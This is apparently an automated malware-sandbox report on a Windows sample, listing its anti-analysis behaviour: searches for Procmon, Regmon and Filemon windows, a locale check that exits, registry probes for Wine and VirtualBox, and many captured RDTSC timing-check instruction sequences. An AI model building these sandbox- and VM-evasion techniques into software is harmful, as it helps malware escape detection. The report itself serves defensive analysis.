Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_006F9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-57222

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF6E7 second address: AAF6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF6ED second address: AAF6F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF88D second address: AAF891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF891 second address: AAF895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFA05 second address: AAFA0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFA0B second address: AAFA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFA10 second address: AAFA1A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8B853A64FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFB5B second address: AAFB67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8B8538D976h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFB67 second address: AAFB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFD0D second address: AAFD29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D987h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFD29 second address: AAFD2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB266D second address: 941A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 add dword ptr [esp], 474305EBh 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F8B8538D978h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push dword ptr [ebp+122D0A49h] 0x0000002b call dword ptr [ebp+122D1807h] 0x00000031 pushad 0x00000032 sub dword ptr [ebp+122D1CD7h], esi 0x00000038 xor eax, eax 0x0000003a add dword ptr [ebp+122D1CD7h], eax 0x00000040 mov edx, dword ptr [esp+28h] 0x00000044 cld 0x00000045 mov dword ptr [ebp+122D2A64h], eax 0x0000004b pushad 0x0000004c movzx edx, bx 0x0000004f movsx ecx, si 0x00000052 popad 0x00000053 mov esi, 0000003Ch 0x00000058 or dword ptr [ebp+122D1CD7h], ecx 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 add dword ptr [ebp+122D1CD7h], ebx 0x00000068 lodsw 0x0000006a jmp 00007F8B8538D97Ah 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 jmp 00007F8B8538D981h 0x00000078 mov ebx, dword ptr [esp+24h] 0x0000007c add dword ptr [ebp+122D181Bh], esi 0x00000082 mov dword ptr [ebp+122D1CD7h], edx 0x00000088 nop 0x00000089 push eax 0x0000008a push edx 0x0000008b push edx 0x0000008c jl 00007F8B8538D976h 0x00000092 pop edx 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB27F2 second address: AB27F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB29D3 second address: AB29F5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8B8538D97Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F8B8538D97Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB29F5 second address: AB2A6E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8B853A64F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 js 00007F8B853A6508h 0x0000001c pop eax 0x0000001d jno 00007F8B853A6509h 0x00000023 jmp 00007F8B853A6503h 0x00000028 lea ebx, dword ptr [ebp+124445A7h] 0x0000002e call 00007F8B853A64FAh 0x00000033 mov di, si 0x00000036 pop ecx 0x00000037 xchg eax, ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a jnc 00007F8B853A6508h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD23A4 second address: AD23B8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8B8538D97Ah 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD23B8 second address: AD23CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A64FFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD23CB second address: AD23D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD23D1 second address: AD23DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F8B853A64F6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD23DE second address: AD23E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD23E4 second address: AD23ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD23ED second address: AD240B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a jmp 00007F8B8538D97Fh 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD240B second address: AD240F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD240F second address: AD2413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD01C3 second address: AD01C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD01C8 second address: AD01CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0321 second address: AD0336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007F8B853A64F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jc 00007F8B853A64F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0336 second address: AD033B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD033B second address: AD0343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0343 second address: AD0347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD04DE second address: AD04EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8B853A64FBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD04EF second address: AD052C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 js 00007F8B8538D976h 0x00000009 pop edi 0x0000000a jmp 00007F8B8538D97Ah 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F8B8538D995h 0x00000019 jns 00007F8B8538D976h 0x0000001f jmp 00007F8B8538D989h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD052C second address: AD0531 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD09BB second address: AD09CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F8B8538D976h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0C3B second address: AD0C49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A64FAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0D9F second address: AD0DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B8538D983h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0DB8 second address: AD0DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F8B853A64FEh 0x0000000b ja 00007F8B853A64F6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0DCB second address: AD0DE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D982h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0F31 second address: AD0F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD10A4 second address: AD10B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B8538D97Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD14AE second address: AD14DB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F8B853A6505h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F8B853A64FCh 0x00000011 jg 00007F8B853A64F6h 0x00000017 push ecx 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1DB8 second address: AD1DC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F8B8538D976h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1DC5 second address: AD1DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F8B853A6505h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1DE9 second address: AD1DF0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1DF0 second address: AD1DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jl 00007F8B853A64F6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1F2D second address: AD1F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1F31 second address: AD1F61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8B853A6505h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e jmp 00007F8B853A64FEh 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1F61 second address: AD1F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B1B1 second address: A9B1B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B1B5 second address: A9B1BB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2238 second address: AD2242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5E89 second address: AD5E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD607A second address: AD6097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 ja 00007F8B853A651Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8B853A64FEh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA53AC second address: AA53D3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F8B8538D983h 0x00000008 jne 00007F8B8538D976h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F8B8538D976h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE653 second address: ADE673 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8B853A64F6h 0x00000008 jmp 00007F8B853A64FCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F8B853A64F6h 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE673 second address: ADE677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE1EA second address: ADE1FF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8B853A64F6h 0x00000008 jc 00007F8B853A64F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE1FF second address: ADE20D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jbe 00007F8B8538D976h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEF1F second address: ADEF23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEF23 second address: ADEF4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F8B8538D97Dh 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 js 00007F8B8538D97Ch 0x00000016 jno 00007F8B8538D976h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF2FF second address: ADF303 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF42B second address: ADF435 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8B8538D976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF435 second address: ADF43F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8B853A64F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFF2E second address: ADFF32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFF32 second address: ADFF3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFF3F second address: ADFF46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0483 second address: AE0489 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0E00 second address: AE0E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0E06 second address: AE0E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0E0A second address: AE0E1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0E1C second address: AE0E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE160E second address: AE1612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2775 second address: AE277A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE277A second address: AE2789 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B8538D97Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE40F5 second address: AE40FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4B32 second address: AE4B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE55F4 second address: AE55F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE55F8 second address: AE55FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE55FC second address: AE5658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jc 00007F8B853A64FEh 0x0000000e jnp 00007F8B853A64F8h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F8B853A64F8h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 sub edi, dword ptr [ebp+122D2ACCh] 0x00000037 movsx esi, bx 0x0000003a push 00000000h 0x0000003c sbb edi, 439C297Bh 0x00000042 push 00000000h 0x00000044 and esi, 38D6DD74h 0x0000004a push ecx 0x0000004b pop esi 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push ecx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5658 second address: AE565D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E7AB second address: A9E7B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E7B7 second address: A9E7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B8538D987h 0x00000009 pop esi 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E7DA second address: A9E7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push esi 0x00000008 jnc 00007F8B853A64F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E7EA second address: A9E7F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEB51D second address: AEB530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B853A64FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED462 second address: AED4EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F8B8538D976h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 movzx edi, cx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F8B8538D978h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 pushad 0x00000031 call 00007F8B8538D97Fh 0x00000036 pop ebx 0x00000037 mov bx, si 0x0000003a popad 0x0000003b push 00000000h 0x0000003d or dword ptr [ebp+122D3796h], esi 0x00000043 xchg eax, esi 0x00000044 jmp 00007F8B8538D988h 0x00000049 push eax 0x0000004a pushad 0x0000004b jmp 00007F8B8538D985h 0x00000050 push eax 0x00000051 push edx 0x00000052 push ecx 0x00000053 pop ecx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5E6F second address: AE5E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED4EB second address: AED4EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
